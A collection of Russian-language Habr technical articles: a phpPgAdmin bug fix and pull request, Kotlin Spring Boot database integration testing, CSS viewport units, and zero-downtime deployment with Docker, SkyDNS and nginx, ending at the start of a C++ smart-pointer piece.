COMMENT ON COLUMN "public"."company"."address" IS 'адрес';
-- ----------------------------
-- Records of company
-- ----------------------------
INSERT INTO "public"."company" VALUES ('1', 'Колхоз "Знамя Ильича"', 'Московская область, Коломенский район, с. Нелепецино');
```
В глаза бросается необычное расположение точки с запятой после команды создания таблицы — на отдельной строке.
Если перенести ее с отдельной строки в строчку с окончанием команды CREATE TABLE — то тогда обработка файла с дампом БД проходит без проблем.
Поиск по коду phpPgAdmin приводит нас в файл /classes/database/Postgres.php функция executeScript
Эта функция вызывается для парсинга загруженного файла с SQL скриптом. В ней присутствует баг с расстановкой фигурных скобок в if. И в итоге pg\_query не выполнялся, если строка начиналась с точки с запятой. Поправил код, протестил — все работает.
Теперь надо сообщить о найденном баге автору phpPgAdmin. phppgadmin есть на гитхабе, так что сделать это очень просто:
Заходим/регистрируемся на github.com.
Проект [github.com/phppgadmin/phppgadmin](https://github.com/phppgadmin/phppgadmin)
Смотрим открытые pull request и видим, что мы не одиноки.
Есть и другие люди, которые столкнулись с этим багом, но, на мой взгляд, неправильно подошли к его исправлению.
Поэтому предложим свое решение проблемы
Нажимаем справа кнопочку Fork и немного ждем, пока гитхаб скопирует проект к вам.
Клонируем проект теперь уже от себя
```
git clone https://github.com/LuckySB/phppgadmin
```
Исправляем баг, коммит, пуш (вводим свои данные для входа на гитхаб) и любуемся своим собственным форком phppgadmin с исправленным багом.
После того как налюбовались — нажимаем на зеленую кнопочку «Compare, review, create a pull request». Гитхаб создает запрос на внесение изменений в основной проект, и тут наступает самое трудное — написать развернутый коммент к своему патчу.
У меня получилось как-то так: [github.com/phppgadmin/phppgadmin/pull/30](https://github.com/phppgadmin/phppgadmin/pull/30) | https://habr.com/ru/post/257967/ | null | ru | null |
# Тестирование интеграции Kotlin веб сервиса на Spring Boot с базой данных
Меня зовут Вячеслав Аксёнов, я имею большой опыт разработки веб сервисов на Java / Kotlin с использованием Spring Framework. В своей работе я регулярно встречаюсь с задачами, в которых требуется настроить и протестировать интеграцию веб сервиса с базой данных. Также среди людей, которых я обучаю, я вижу большое количество вопросов на эту тему. Так что я решил, что будет полезно сделать подробную статью, где на синтетическом приложении рассмотрю основные нюансы, которые нужно иметь в виду при написании тестов на свой код, взаимодействующий с базой данных.
**Цель статьи:** рассмотрение различных подходов к тестированию интеграции веб сервиса на Kotlin с базой данных с помощью библиотеки H2. Рассмотрение примеров тестирования синтетического приложения и разбор позитивных и негативных сценариев.
Забегая вперед, источники можно найти в моем GitHub репозитории: [pokemon-app](https://github.com/v-aksenov/pokemon-app)
Предыстория
-----------
В настоящее время особенно распространены сервисы в виде веб-приложения. И сложно представить какое-то веб-приложение, которое никак не хранит данные. Самым распространенным способом хранения данных сейчас являются базы данных.
Со стороны сервиса любая база данных выглядит как внешняя интеграция. И если сервис покрывается тестами, то значит, что эту интеграцию нужно тестировать. Способов для тестирования этой интеграций присутствует множество, ниже мы разберем самый часто встречавшийся в моей практике, а именно Spring Boot + H2.
Описание инфраструктуры
-----------------------
Для примера используется базовый CRUD веб сервис на основе Spring Boot, написанный на Kotlin.
CRUD веб-сервисом называется сервис, который предоставляет функционал для создания (C), чтения (R), обновления (U), удаления (D) сущностей из базы данных через HTTP запросы.
Для примера мы будем рассматривать сервис без функционала удаления и обновления - остается только создание и чтение. Так как принципиально все, что нужно мы покроем этими двумя методами.
В качестве базы данных используется H2, но можно использовать любую реляционную. Так как мы рассматриваем только тестирование интеграции, общий смысл данной статьи будет актуален для любой другой популярной реляционной базы данных.
Описание функционала веб сервиса
--------------------------------
Зона ответственности сервиса из примера - интеграция с pokeApi для получения информации о весе покемона по его имени. А также сохранение этой информации в базу данных и предоставление возможности получить все сохраненные записи.
Для основного функционала сервиса используются следующие зависимости:
```
org.springframework.boot
spring-boot-starter-data-jdbc
org.springframework.boot
spring-boot-starter-web
com.fasterxml.jackson.module
jackson-module-kotlin
org.jetbrains.kotlin
kotlin-reflect
org.jetbrains.kotlin
kotlin-stdlib-jdk8
com.h2database
h2
runtime
```
Структура базы данных
---------------------
Таблица для хранения информации о весе покемона в базе данных приложения выглядит следующим образом:
```
CREATE TABLE pokemon (
id integer primary key auto_increment,
name varchar(25),
weight integer
);
```
id - поле идентификатора
name - поле для хранения информации об имени покемона (имеет ограничение в 25 символов)
weight - поле с информацией о весе покемона.
Требования к тестированию
-------------------------
Для того, чтобы проверить работу сервиса с базой данных необходимо использовать такие тесты, которые задействуют либо базу данных в тестовом окружении, либо поднимают базу для тестов в окружении dev.
Это значит, что в данном случае идеально будет использовать интеграционные тесты, либо end-to-end тесты.
Интеграционные тесты предназначены для тестирования интеграций с любыми внешними системами - базами данных в том числе.
Схема 1. Покрываемая область при интеграционном тестированииКак мы видим, в интеграционном тестировании достаточно протестировать интеграцию отдельного класса сервиса со сторонним компонентом - в нашем случае базой данных.
End-to-end тестирование в свою очередь предназначено для тестирование всего приложения со всеми интеграциями.
Схема 2. Область покрытия при end-to-end тестировании.Как мы видим, в данном случае проверяются все компоненты системы, которые задействованы в сценарии, который тестируется.
Применение требований тестирования к веб сервису
------------------------------------------------
В данном примере был выбран end-to-end способ тестирования для двух сценариев - для сохранения покемона в базу данных и для чтения покемонов из базы данных.
Это значит, что будет проверен как HTTP контракт, так и интеграция с базой данных.
Для тестирования сервиса используются следующие библиотеки:
```
org.springframework.boot
spring-boot-starter-test
test
io.kotest
kotest-bom
5.2.2
pom
test
io.kotest.extensions
kotest-extensions-spring
1.0.1
```
Функционал, который будет протестирован
---------------------------------------
Веб сервис имеет два эндпоинта с функционалом, который требуется покрыть тестами.
`POST /pokemon` - сохранение модели в базу данных.
В модели есть 2 обязательных поля - name (String) и weight (Integer).
Пример вызова:
```
###
POST http://localhost:8080/pokemon
Content-Type: application/json
{
"name": "bulbasaur",
"weight": 69
}
```
`GET /pokemon` - эндпоинт, который отвечает за предоставление всех записей из базы данных.
В ответе метод возвращает массив моделей с 3 полями - id (Long), name (String), weight (Integer).
Пример вызова:
```
###
GET http://localhost:8080/pokemon
Ответ вызова:
[
{
"id": 1,
"name": "bulbasaur",
"weight": 69
},
{
"id": 2,
"name": "ditto",
"weight": 40
}
]
```
Код контроллера:
```
@RestController
@RequestMapping("/pokemon")
class PokemonController(private val pokemonDao: PokemonDao) {
@PostMapping
fun savePokemon(@RequestBody pokemon: Pokemon) {
pokemonDao.save(pokemon)
}
@GetMapping
fun getAll(): List = pokemonDao.getAll()
@ExceptionHandler
fun handleException(exception: Exception): ResponseEntity<\*> {
return ResponseEntity(exception.message, HttpStatus.BAD\_REQUEST)
}
}
```
Описание слоя DAO
-----------------
Слой `DAO` (Data Access Object) отвечает исключительно за интеграцию с хранилищем. Для описания интеграций с базой данных используется `jdbcTemplate`. `JdbcTemplate` - библиотека Spring, которая позволяет писать запросы в нативном SQL.
Для простоты маппинга сущностей используется обычный `objectMapper`. В большой нагрузке такой маппинг может быть изменен на более оптимальный.
Dao слой выглядит следующим образом:
```
@Service
class PokemonDao(private val jdbcTemplate: JdbcTemplate, private val objectMapper: ObjectMapper) {
fun save(pokemon: Pokemon) {
jdbcTemplate.update(SAVE_POKEMON, pokemon.name, pokemon.weight)
}
fun getAll(): List =
jdbcTemplate.queryForList(SELECT\_ALL\_POKEMONS)
.map { objectMapper.readValue(objectMapper.writeValueAsString(it), Pokemon::class.java) }
}
@Language("Sql")
private const val SAVE\_POKEMON = "insert into pokemon values(default, ?, ?)"
@Language("Sql")
private const val SELECT\_ALL\_POKEMONS = "select \* from pokemon"
```
Описание структуры тестов
-------------------------
Для тестирования используется библиотека `Kotest`, которая дает возможность бесшовной интеграции с Spring для поднятия контекста, а также имеет **крайне удобный** апи для операций сравнения результатов.
Вызовы на HTTP эндпоинты описываются с использованием `MockMvc`. `MockMvc` - также является одной из библиотек Spring, имеющей довольно неплохой апи для тестирования HTTP эндпоинтов веб сервисов. А также позволяет тестировать веб сервисы без их непосредственного запуска.
Тестирование сценария сохранения покемона
-----------------------------------------
Тест положительного сценария будет считаться успешно выполненным, если мы сохранили выбранного покемона и смогли найти его в базе данных.
```
"save pokemon - success" {
mockMvc.perform(
MockMvcRequestBuilders
.post("/pokemon")
.content(objectMapper.writeValueAsString(
Pokemon(name = "saved pokemon name", weight = 1)
))
.contentType(MediaType.APPLICATION_JSON)
)
pokemonDao.getAll().first { it.name == "saved pokemon name" } should {
it.weight shouldBe 1
it.id shouldNotBe null
}
}
```
Как мы видим, в случае сохранения покемона с полями `name = "saved pokemon name"` и `weight = 1`, мы можем получить его из списка покемонов в базе данных.
Скриншот 1. Результат работы теста позитивного сценария POST /pokemon.Для полноты картины требуется проверить и негативный сценарий. Для примера взято слишком длинное имя покемона, которое превышает допустимый размер поля в 25 символов.
```
"save pokemon - too long name" {
mockMvc.perform(
MockMvcRequestBuilders
.post("/pokemon")
.content(objectMapper.writeValueAsString(
Pokemon(name = "saved pokemon name - just too long name to save", weight = 1))
)
.contentType(MediaType.APPLICATION_JSON)
)
.andExpect(MockMvcResultMatchers.status().is4xxClientError)
}
```
В данном случае длина поля name окажется слишком длинной для максимально допустимой в 25 символов и в процессе insert будет выброшено исключение со стороны драйвера базы данных:
`PreparedStatementCallback; SQL [insert into pokemon values(default, ?, ?)]; Value too long for column "name VARCHAR(25)": "'saved pokemon name - just too long name to save' (47)";`
Это исключение будет обработано в `@ExceptionHandler` в контроллере и вернет код ошибки 400 клиенту.
Скриншот 2. Результат работы теста негативного сценария POST /pokemon.Тестирование сценария получения покемонов
-----------------------------------------
Для позитивного сценария достаточно проверить, что ответе на запрос GET возвращается запись, которая хранится в базе данных.
Так как тесты должны быть изолированы и могут быть запущенными в любом порядке нельзя использовать ту запись, которую сохранили в тесте на сохранение. Более правильно будет использовать механизм с подготовкой первоначальных данных.
Скрипт, который будет выполнен во время запуска приложения хранится в `/resources/data.sql`
и выглядит следующим образом:
```
insert into pokemon VALUES (default, 'test-pokemon', 45);
```
В позитивном сценарии мы проверяем, что покемон с именем `test-pokemon` действительно хранится в базе данных.
```
"get all pokemons" {
val pokemons = mockMvc
.get("/pokemon")
.andReturn()
.response
.contentAsString
.let { objectMapper.readValue(it, List::class.java) }
.map { objectMapper.convertValue(it, Pokemon::class.java) }
pokemons.first {it.name == "test-pokemon"} should {
it.weight shouldBe 45
it.id shouldNotBe null
}
}
```
Скриншот 3. Результат работы теста позитивного сценария GET /pokemonНегативный сценарий в данном случае весьма условный и может быть рассмотрен как второй позитивный. Его суть в том, что покемона, которого не сохраняли в базу данных не должно вернуться в запросе всех хранящихся покемонов.
```
"get all pokemons - not found" {
val pokemons = mockMvc
.get("/pokemon")
.andReturn()
.response
.contentAsString
.let { objectMapper.readValue(it, List::class.java) }
.map { objectMapper.convertValue(it, Pokemon::class.java) }
pokemons.firstOrNull { it.name == "test-pokemon not found"} shouldBe null
}
```
Скриншот 4. Результат работы теста негативного сценария GET /pokemonЕсли запустить все тесты подряд в едином списке, то результаты будут следующие:
Скриншот 5. Результат работы всех тестов, запущенных единовременноОбратите внимание на время выполнения. Если запускать тесты по одному, тогда Spring контекст будет подниматься для каждого теста - это занимает время.
Если же запускать все тесты в одном списке последовательно, поднятие контекста происходит только во время первого теста, остальные отрабатывают на уже запущенном контексте. Таким образом можно экономить время на тестировании.
Выводы
------
Итого, мы рассмотрели основные способы тестирования интеграции веб сервиса с базой данных на примере H2 + Spring Boot. Были рассмотрены отличия интеграционного и end-to-end тестирования, а также рассмотрен пример интеграции веб сервиса базой данных с последующим тестированием и подробным разборов позитивных и негативных сценариев.
Как вы тестируете интеграции с базами данных? Буду рад вашим мыслям в комментариях.
Исходники можно найти в моем GitHub репозитории: [pokemon-app](https://github.com/v-aksenov/pokemon-app)
Фото от [@jannisbrandt](/users/jannisbrandt)на [Unsplash](https://unsplash.com/) | https://habr.com/ru/post/667632/ | null | ru | null |
# Занимательная вёрстка с единицами измерения области просмотра
Единицы измерения области просмотра используются вот уже несколько лет. Они [практически полностью поддерживаются основными браузерами](http://caniuse.com/#feat=viewport-units). Тем не менее я продолжаю находить новые и любопытные способы их применения. Я подумала, что было бы здорово сначала вспомнить базовые вещи, а затем затронуть некоторые из моих любимых вариантов использования этих единиц.
Что такое единицы измерения области просмотра?
----------------------------------------------
Между 2011 и 2015 годами в спецификациях CSS, разработанных W3C, в [3-ем уровне модуля Значения и единицы CSS](https://www.w3.org/TR/css-values/), появились четыре новые единицы, которые связаны непосредственно
с параметрами области просмотра. Новые единицы — *vw*, *vh*, *vmin*, и *vmax* — работают аналогично существующим единицам длины, таким как *px* или *em*, но представляют собой процентные величины от текущей области просмотра браузера.
* **Viewport Width** (*vw*) – это процентная величина от общей ширины области просмотра. *10vw* представляет собой 10% от текущей ширины области просмотра, скажем, 48px на телефоне с экраном шириной 480px. Разница между *%* и *vw* наиболее сопоставима с отличием между единицами *em* и *rem*. Длина в *%* рассчитывается относительно ширины текущего контекста (контейнера), а длина *vw* — относительно общей ширины области просмотра браузера.
* **Viewport Height** (*vh*) — это процентная величина от общей высоты области просмотра. *10vh* составляет 10% от текущей высоты области просмотра.
* **Viewport Minimum** (*vmin*) — это процентная величина от ширины или высоты области просмотра, в зависимости от того, которая из двух меньше. *10vmin* соответствует 10% от текущей ширины области просмотра в книжной ориентации и 10% от высоты области просмотра в альбомной ориентации.
* **Viewport Maximum** (*vmax*) — это процентная величина от ширины или высоты области просмотра, в зависимости от того, которая из двух больше. *10vmin* будет равняться 10% от текущей высоты области просмотра в книжной ориентации и 10% ширины области просмотра в альбомной ориентации. К сожалению и как бы странно это ни звучало, единица *vmax* еще не поддерживается браузерами Internet Explorer и Edge.
В то время как значение этих единиц зависит от высоты или ширины области просмотра, они могут использоваться везде применительно к длине, будь то размер шрифта, полей, отступов, теней, границ и т. д. или позиционирование элемента. Давайте посмотрим, что мы можем делать с их помощью!
Отзывчивая типографика
----------------------
Стало популярным использовать единицы измерения области просмотра в отзывчивой типографике — настраивать размер шрифта таким образом, чтобы он увеличивался и уменьшался в зависимости от текущего размера области просмотра. Использование единиц измерения области просмотра для определения размера шрифта имеет интересный (опасный) эффект. Как вы видите, шрифты масштабируются очень быстро — от нечитабельно-мелкого до крайне крупного размера в очень малом диапазоне.
```
html {
font-size: 3vw;
margin: .5em;
}
h1 {
font-size: 4vmax;
}
h2 {
font-size: 4vmin;
}
h1, h2 {
font-weight: bold;
}
h1, h2, p {
margin: .5em 0;
}
```
Такое резкое масштабирование явно не подходит для повседневного использования. Нам нужно что-то более тонкое — минимальные и максимальные значения. Также нужно больше контроля над диапазонами увеличения показателя. Тут нам поможет функция *calc()*. Для определения базового размера шрифта мы можем использовать более стабильные единицы (скажем, *16px*). Мы также можем уменьшить диапазон подстраивания значения под размер области просмотра (*0.5vw*). Таким образом, браузер будет выполнять следующие математические вычисления: *calc(16px + 0.5vw)*
Изменяя зависимость между базовым размером и размером, рассчитываемым относительно параметров области просмотра, мы можем менять скорость увеличения последнего. Попробуйте для заголовков определить большие значения единиц измерения области просмотра, нежели для остального текста, и вы увидите, насколько быстрее их размер будет увеличиваться в сравнении с окружающим текстом. Это позволяет использовать более динамичную типографику на больших экранах, в то же время ограничивая размер шрифта на мобильных устройствах. При этом не требуется никаких медиа-запросов. [Этот метод также можно применить к высоте строки](https://css-tricks.com/molten-leading-css/), что позволит корректировать междустрочный интервал со скоростью, отличной от скорости масштабирования размера шрифта.
```
body {
// размер шрифта увеличивается на 1px через каждые 100px ширины области просмотра
font-size: calc(16px + 1vw);
// междустрочный интервал увеличивается вместе со шрифтом
// и получает дополнительный прирост на 0.1em + 0.5px через каждые 100px ширины области просмотра
line-height: calc(1.1em + 0.5vw);
}
```
На мой взгляд, больше усложнять здесь не надо. Если нам потребуется ограничить верхнее значение для быстро растущих заголовков, мы можем сделать это с помощью одного медиа-запроса для разрешений, на которых их размер уже слишком велик:
```
h1 {
font-size: calc(1.2em + 3vw);
}
@media (min-width: 50em) {
h1 {
font-size: 50px;
}
}
```
Тут я поняла, что было бы здорово, если бы существовало такое свойство, как *max-font-size*.
Наши коллеги разработали более сложные расчеты и миксины Sass для определения точных диапазонов масштабирования размера текста через конкретные медиа-запросы. Есть несколько статей на CSS Tricks, в которых объясняется этот метод. Там же представлены фрагменты кода, которые помогут попробовать его в деле.
* [Viewport Sized Typography with Minimum and Maximum Sizes](https://css-tricks.com/snippets/sass/viewport-sized-typography-minimum-maximum-sizes/)
* [Fluid Typography](https://css-tricks.com/snippets/css/fluid-typography/)
* [The Math of CSS locks](https://css-tricks.com/math-css-locks/)
Я думаю, в большинстве случаев это излишне, но у вас может быть другое мнение.
Полноэкранные блоки, hero images и прилипающие футеры
-----------------------------------------------------
Существует великое множество вариаций вёрстки во всю высоту окна (или подразумевающей ограничение по высоте) — от интерфейсов в стиле рабочего стола до hero images, широких макетов и [прилипающих футеров](https://css-tricks.com/couple-takes-sticky-footer/). Единицы измерения области просмотра помогут вам со всем перечисленным.
В интерфейсе в полную высоту в стиле рабочего стола страница часто разбивается на разделы, которые скроллятся по отдельности. Такие элементы, как хедер, футер, боковые панели, остаются на месте при любом размере окна. Сегодня это обычная практика для многих веб-приложений, а единицы *vh* делают реализацию такого интерфейса гораздо проще. Ниже приведен пример с использованием нового синтаксиса CSS Grid:
Одно правило для body — *height: 100vh* — задает высоту вашему приложению равной высоте области просмотра. Убедитесь, что для элементов внутри *body* заданы значения *overflow*, чтобы их содержимое не обрезалось. Такой же вёрстки можно добиться, используя *[flexbox](http://codepen.io/mirisuzanne/pen/657a71f05b9c044d0235bab212abdbdc)* или [плавающие элементы](http://codepen.io/mirisuzanne/pen/b36df6cb41a420fda94995ca8d33a653). Заметьте, что с вёрсткой в полную высоту в некоторых мобильных браузерах могут возникать проблемы. Есть [хороший фикс для Safari на iOS](https://github.com/Hiswe/vh-check), который мы используем для наиболее часто встречающихся нестандартных случаев.
Прилипающие футеры можно создать аналогичным образом. Все, что нужно — правило для body *height: 100vh* заменить на *min-height: 100vh*, и футер будет зафиксирован внизу экрана, до тех пор пока не сместится контентом вниз.
Используйте единицы *vh* для определения свойств *height*, *min-height* или *max-height* различных элементов и создавайте полноэкранные разделы, hero images и многое другое. В [новом редизайне OddBird](http://oddbird.net/) мы ограничили высоту hero images правилом *max-height: 55vh*, чтобы они не вытесняли заголовки со страницы. На моем собственном сайте я использовала правило *max-height: 85vh*, чтобы больше выделить изображения. На других сайтах я применила минимальную высоту — *min-height: 90vh* — к разделам.
Этот пример демонстрирует сразу и [hero image котика, ограниченное максимальной высотой, и раздел с минимальной высотой](https://codepen.io/mirisuzanne/pen/bc37df3a823be39c20be32e326dc01bd). Используя все эти приемы, вы можете максимально управлять тем, как контент будет заполнять окно браузера и [реагировать на различные размеры области просмотра](https://css-tricks.com/simple-little-use-case-vmin/).
Соотношение ширины и высоты для резиновой вёрстки
-------------------------------------------------
Также может быть полезно ограничить отношение высоты элемента к его ширине. Это особенно полезно для встраиваемого содержимого, например видео. [Крис ранее писал об этом](https://css-tricks.com/scaled-proportional-blocks-with-css-and-javascript/). В старые добрые времена мы делали это с помощью %-ого отступа для контейнера и абсолютного позиционирования для внутреннего элемента. Теперь в некоторых случаях для достижения того же эффекта мы можем использовать единицы измерения области просмотра, и уже нет необходимости создавать дополнительные контейнеры.
Если мы хотим растянуть наше видео на весь экран, мы можем задать его высоту относительно ширины области просмотра:
```
/* во всю ширину * соотношение высоты и ширины */
.full-width {
width: 100vw;
height: calc(100vw * (9/16));
}
```
Такие расчеты не обязательно выполнять именно в браузере с поддержкой функции *calc*. Если вы используете препроцессор, как, например, Sass, того же эффекта можно добиться с помощью подобного расчета: *height: 100vw \* (9/16)*. Если вам нужно ограничить максимальную ширину, вы также можете ограничить максимальную высоту:
```
/* максимальная ширина * соотношение высоты и ширины */
.full-width {
width: 100vw;
max-width: 30em;
height: calc(100vw * (9/16));
max-height: calc(30em * (9/16));
}
```
Данный пример демонстрирует оба варианта с использованием кастомных свойств CSS (переменных), позволяющим придать расчету больше семантики. Поиграйтесь с цифрами, и вы увидите, как элементы масштабируются, сохраняя при этом правильное соотношение:
Крис идет дальше в своей статье, и мы последуем его примеру. Что если нам нужно, чтобы обычное текстовое содержимое HTML масштабировалось в пределах установленного соотношения, как часто бывает, например, со слайдами презентаций?
Мы можем задать значения всем свойствам шрифтов и размерам элементов, используя все те же единицы области просмотра, как и для контейнера. В этом случае я использовала *vmin* для всего, поэтому содержимое будет масштабироваться с изменениями как высоты, так и ширины контейнера:
«Разрывая» контейнер
--------------------
Уже многие годы мы используем текстовые блоки ограниченного размера на пару с фонами на всю ширину. В зависимости от разметки или CMS, здесь могут возникать проблемы. Как уйти от необходимости ограничивать содержимое размером контейнера, но обеспечить при этом точно такое же заполнение им окна браузера?
И снова нам помогут единицы измерения области просмотра. Вот еще один прием, который мы использовали на новом сайте OddBird, где генератор статического сайта иногда ограничивает наш контроль над разметкой. Для реализации данного замысла требуется всего несколько строк кода.
```
.full-width {
margin-left: calc(50% - 50vw);
margin-right: calc(50% - 50vw);
}
```
Есть более подробные статьи, посвященные данной технике, как на [Cloud Four](https://cloudfour.com/thinks/breaking-out-with-viewport-units-and-calc/), так и здесь, на [CSS Tricks](https://css-tricks.com/full-width-containers-limited-width-parents/).
Креативные реализации
---------------------
Конечно, если вы попробуете поэкспериментировать, то с помощью единиц измерения области просмотра вы сможете сделать гораздо больше. Вот, например, этот индикатор прокрутки страницы (созданный неким Майком) сделан на чистом CSS и с применением единиц измерения области просмотра на фоновом изображении:
А что еще интересного вы слышали о единицах измерения области просмотра или как еще использовали их в своей работе? Попробуйте подключить воображение в своей работе и покажите нам свои результаты!
Оригинальная статья: [Fun with Viewport Units](https://css-tricks.com/fun-viewport-units/) by Miriam Suzanne | https://habr.com/ru/post/331184/ | null | ru | null |
# Используем nginx, docker, skydns и skydock для обновления кода на лету (zero-downtime deployment)
Инструменты, которые мы будем использовать
------------------------------------------
### Docker
[Docker](https://www.docker.io/) — простая и элегантная библиотека для создания легковесных изолированных друг от друга виртуальных контейнеров, в которых можно исполнять любой код. Совершенно не требователен к ресурсам, минимальный overhead.
Собрав контейнер один раз, его можно многократно использовать.
Простой пример — это БД Redis. Если нам необходимо несколько серверов Redis на одном компьютере, при обычном подходе нам придется изменять конфигурационные файлы в /etc/redis и менять файлы в /etc/init.d. Можно написать bash скрипт, но это не делает процесс легче.
В случае Docker, мы можем использовать следующую команду:
```
docker run -d --name test-redis-server dockerfile/redis
```
Эта команда скачает контейнер Redis из главного репозитория ([index.docker.io](https://index.docker.io)), запустит его в фоновом режиме и присвоит только что созданному контейнеру имя test-redis-server.
Этот контейнер можно запустить потом командой:
```
docker start test-redis-server
```
### SkyDNS
Совсем недавно разработчики Docker ввели инструмент --link при запуске контейнера для того, чтобы можно было связать несколько контейнеров посредством переменных окружения ENV. Например для связывания контейнера веб приложения с контейнерами Redis, Postgresql, Elasticsearch и т.д.
Это удобно, но нам необходимо следить за правильностью ENV и менять код при изменении условий запуска контейнеров и параметра --link.
Это называется Service Discovery, для него существует множество решений (более подробно про существующие решения вы можете прочитать в статье [Open-Source Service Discovery](http://jasonwilder.com/blog/2014/02/04/service-discovery-in-the-cloud/)).
Одно из таких решений — это SkyDNS. Небольшой локальный DNS и DNS proxy сервер, написанный на языке Go (важно заметить, что Go крайне эффективен в плане потребления ресурсов, примерно до 6MB памяти при запуске. Я проводил лично для себя несколько синтетических тестов, максимальное потребление памяти при 50 одновременных простых запросах было около 20MB).
SkyDNS позволяет с помощью простого API (более подробно: [SkyDNS](https://github.com/skynetservices/skydns)) добавлять DNS записи, после чего делать обычные запросы, которые возвращают SRV, A или AAAA записи.
Если запись не будет найдена, то SkyDNS отправит запрос на публичные dns сервера google (8.8.8.8/8.8.4.4).
В SkyDNS используется собственная интересная схема для домена:
```
......skydns.local
```
Если environment = production, а service = redis, то можно сделать запрос к redis.production.skydns.local, который вернет одну или несколько записей (по умолчанию, он возвращает A запись).
### Skydock
[Skydock](https://github.com/crosbymichael/skydock) — это небольшая программа, которая объединяет Docker и SkyDNS.
Skydock использует схему домена SkyDNS следующим образом:
```
...skydns.local
```
**сontainer-name** — это название образа Docker без репозитория (например crosbymichael/redis => redis или test/cool-api => cool-api). **name** — это название контейнера, присвоенное ему с помощью параметра --name.
Skydock автоматически определяет запущенные контейнеры и добавляет их в SkyDNS.
Docker присваивает отдельный IP адрес для каждого контейнера, следовательно если мы запустим контейнер следующим образом:
```
docker run -d --name redis-test-app dockerfile/redis
```
Мы сможем сделать запрос (позже будет описано почему мы делаем запрос на 172.17.42.1) и получим в ответ A запись, то есть IP адрес контейнера, в котором запущен Redis.
```
dig @172.17.42.1 redis-test-app.redis.dev.skydns.local
dev.skydns.local. 27 IN A 172.17.0.3
```
Порт Redis по умолчанию 6379, поэтому коде мы можем сделать нечто такое (пример на псевдоязыке):
```
redisConn = redis.Connect("redis-test-app.redis.dev.skydns.local:6379")
```
Установка
---------
Мы не будем рассматривать установку Docker, она очень простая и детально описана тут: [Start using Docker](https://www.docker.io/gettingstarted/)
Нам нужно запустить 2 контейнера — один с SkyDNS, другой с Skydock. В отличии от автора Skydock, я рекомендую запускать SkyDNS с дополнительным параметром -p 172.17.42.1:8080:8080 — это позволит вашим контейнерам использовать API SkyDNS напрямую для собственных нужд.
```
docker pull crosbymichael/skydns
docker run -d -p 172.17.42.1:53:53/udp -p 172.17.42.1:8080:8080 --name skydns crosbymichael/skydns -nameserver 8.8.8.8:53 -domain skydns.local
```
IP 172.17.42.1 — это мост docker0, используется Docker для конфигурирования собственной сети. Мы указали домен skydns.local, хотя можно сделать любой, на ваш выбор, для примера: docker, super.local. skydns.local по моему мнению удобнее и универсальнее, тем более используется по умолчанию в SkyDNS.
Далее запускаем Skydock:
```
docker pull crosbymichael/skydock
docker run -d -v /var/run/docker.sock:/docker.sock --name skydock -link skydns:skydns crosbymichael/skydock -ttl 30 -environment dev -s /docker.sock -domain skydns.local
```
Здесь нужно указать TTL (если он меньше — более динамические окружение, можно быстрее вносить больше изменений в архитектуру. Если больше — менее динамическое, более кешированное окружение) и environment — это может быть совершенно любая строка (dev, development, production, stage, qa).
Если все прошло успешно, то все необходимые компоненты запущены.
Единственное, что нужно сделать — это при запуске контейнера с вашим приложением, необходимо указать первичный DNS сервер:
```
docker run -d --dns 172.17.42.1 test/cool-api
```
Наш контейнер с cool-api будет доступен в локальном DNS по адресу: cool-api.dev.skydns.local — это выдаст список IP адресов всех контейнеров с названием cool-api. Это свойство мы и будем использовать для конфигурирования nginx.
Если при запуске контейнера указать --name api1, то он будет доступен по api1.cool-api.dev.skydns.local — именно только 1 контейнер с именем api1.
Внутри контейнера теперь можно указывать домен напрямую, так как он будет использовать локальный DNS: redis.dev.skydns.local — вернет А записи всех контейнеров с запущенным Redis. Естественно будет выбран только 1 адрес, к которому подключится клиент Redis.
nginx
-----
Использую эту магию локального DNS, мы можем сделать например:
* Балансировку нагрузки — веб сервера или подключений к базе данных
* Простой роутинг запросов по критерию. Например создав образ test/cool-api-v1 — мы можем направлять запросы к API v1 на одни контейнеры (cool-api-v1.dev.skydns.local), а cool-api.dev.skydns.local использовать как последнюю версию. При этом с автоматической балансировкой
* **Обновление кода на лету** — что нам и нужно
Добавим в nginx вот такой конфигурационный файл:
```
server {
listen 80;
server_name super-cool-domain.com;
# говорим nginx использовать SkyDNS
resolver 172.17.42.1 valid=5s;
resolver_timeout 5s;
# Это нам необходимо сделать для того, чтобы nginx использовал локальный DNS. По-другому nginx не понимает
set $dns cool-api.production.skydns.local;
location /api {
proxy_pass http://$dns:8080;
}
# Чисто для примера
location / {
try_files $uri /index.html;
}
}
```
Мы просто указываем, чтобы nginx использовал локальный DNS сервер, далее указываем куда обращаться — переменная $dns и делаем старый добрый proxy\_pass на тот порт, который использует ваше приложение.
Теперь, при запуске нового контейнера, Skydock добавит его в SkyDNS, nginx будет проксировать запросы к этому контейнеру. При остановке контейнера, Skydock удалит его адрес из SkyDNS.
Запустив таким образом 2-3 контейнера, мы можем балансировать нагрузку между ними.
Запустим несколько дополнительных контейнеров, nginx автоматически начнет проксировать запросы к ним. После этого, мы можем остановить работу старых — тем самым сделав обновление на лету.
Это не будет требовать переконфигурирования. Все работает по умолчанию. По сути все, что нужно будет сделать, чтобы изменить код — это:
```
# Скачиваем новую версию контейнера с обновленным кодом веб приложения
docker pull test/cool-api
# Сохраняем ID текущих контейнеров
OLDPORTS=( `docker ps | grep cool-api | awk '{print $1}'` )
# Запускаем новый контейнер
docker run -d test/cool-api
# Останавливаем старые
for i in ${OLDPORTS[@]}
do
echo "removing old container $i"
docker kill $i
done
```
### Заключение
Автор Skydock хочет развить идею и сделать поддержку нескольких серверов в датацентре. На данный момент это не реализовано, хотя сам SkyDNS уже используется в production окружении на множестве серверов.
В статье так же не затронута тема репозиториев docker. Есть решение с открытым кодом, которое позволяет создавать приватное хранилище образов.
Решение почти не влияет на производительность, Docker и SkyDNS очень хорошо спроектированы и используют эффективный и быстрый язык Go.
На первый взгляд кажется, что это некоторое усложнение процесса, но в итоге получается очень гибкое решение, которое не нужно дополнительно конфигурировать после первоначальной настройки. | https://habr.com/ru/post/215653/ | null | ru | null |
# Разделяемые указатели и многопоточность. И снова о них, в который раз
 Глава из книги "Современное программирование на C++" называется "В сто первый раз об интеллектуальных указателях". Все бы ничего, но книга была издана в 2001 году, так стоит ли в очередной раз возвращаться к этой теме? Мне кажется что как раз сейчас и стоит. За эти пятнадцать лет поменялась сама точка зрения, тот угол под которым мы смотрим на проблему. В те далекие времена только-только вышла первая де-факто стандартная реализация — boost::shared\_ptr<>, до этого каждый писал себе реализацию по потребности и как минимум представлял себе детали, сильные и слабые стороны своего кода. Все книги по C++ в то время обязательно описывали одну из вариаций умных указателей в мельчайших деталях.
